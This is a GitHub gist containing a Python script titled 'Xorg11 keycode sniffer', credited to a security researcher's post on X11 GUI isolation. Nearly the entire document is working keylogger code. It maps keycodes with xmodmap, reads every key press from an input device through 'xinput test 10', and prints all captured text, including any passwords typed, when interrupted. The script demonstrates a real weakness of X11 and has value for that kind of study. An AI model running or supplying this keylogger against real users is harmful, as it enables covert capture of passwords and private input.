Last active
August 29, 2015 14:00
-
-
Save antirais/11048807 to your computer and use it in GitHub Desktop.
Xorg11 keycode sniffer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# coding: utf-8 | |
# | |
# Credits to: Joanna Rutkowska | |
# http://theinvisiblethings.blogspot.fr/2011/04/linux-security-circus-on-gui-isolation.html | |
# | |
import sys, signal, re, collections | |
from subprocess import * | |
def transform_representation(keycode_value): | |
transformations = { | |
'Tab': u'\t', | |
'Return': u'\n', | |
'otilde': u'õ', | |
'adiaeresis': u'ä', | |
'odiaeresis': u'ö', | |
'udiaeresis': u'ü', | |
'apostrophe': u"'", | |
'comma': u',', | |
'period': u'.', | |
'minus': u'-', | |
'plus': u'+', | |
'space': u' ' | |
} | |
if keycode_value in transformations: | |
keycode_value = transformations[keycode_value] | |
if len(keycode_value) > 1: | |
keycode_value = "{%s}" % keycode_value | |
return keycode_value | |
def init_keymap(): | |
keymap = {} | |
with Popen("xmodmap -pke", shell=True, bufsize=1, stdout=PIPE).stdout as keycode_table: | |
for line in keycode_table: | |
match = re.match('keycode\s+(?P<keycode>\d+)\s+=\s+(?P<keycode_value>[a-zA-Z0-9]+)', line) | |
if match and match.group('keycode_value'): | |
keycode = match.group('keycode') | |
keycode_value = match.group('keycode_value').decode("utf-8") | |
keymap[keycode] = transform_representation(keycode_value) | |
return keymap | |
def print_data(data): | |
print "{0:-^{1}}".format("Data START", 40) | |
print(''.join(data)) | |
print "{0:-^{1}}".format("Data END", 40) | |
def log_keycodes(shell_cmd): | |
while True: | |
line = shell_cmd.readline() | |
match = re.search("press\s+(?P<char>\d+)", line) | |
if match: | |
char_code = match.group('char') | |
data.append(keymap[char_code]) | |
if __name__ == '__main__': | |
keymap = init_keymap() | |
data = [] | |
# stdbuf is used to force xinput to be line buffered | |
command = ['stdbuf -oL xinput test 10'] | |
try: | |
with Popen(command, shell=True, bufsize=1, stdout=PIPE).stdout as shell_cmd: | |
log_keycodes(shell_cmd) | |
except (KeyboardInterrupt, SystemExit): | |
print_data(data) | |
sys.exit() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment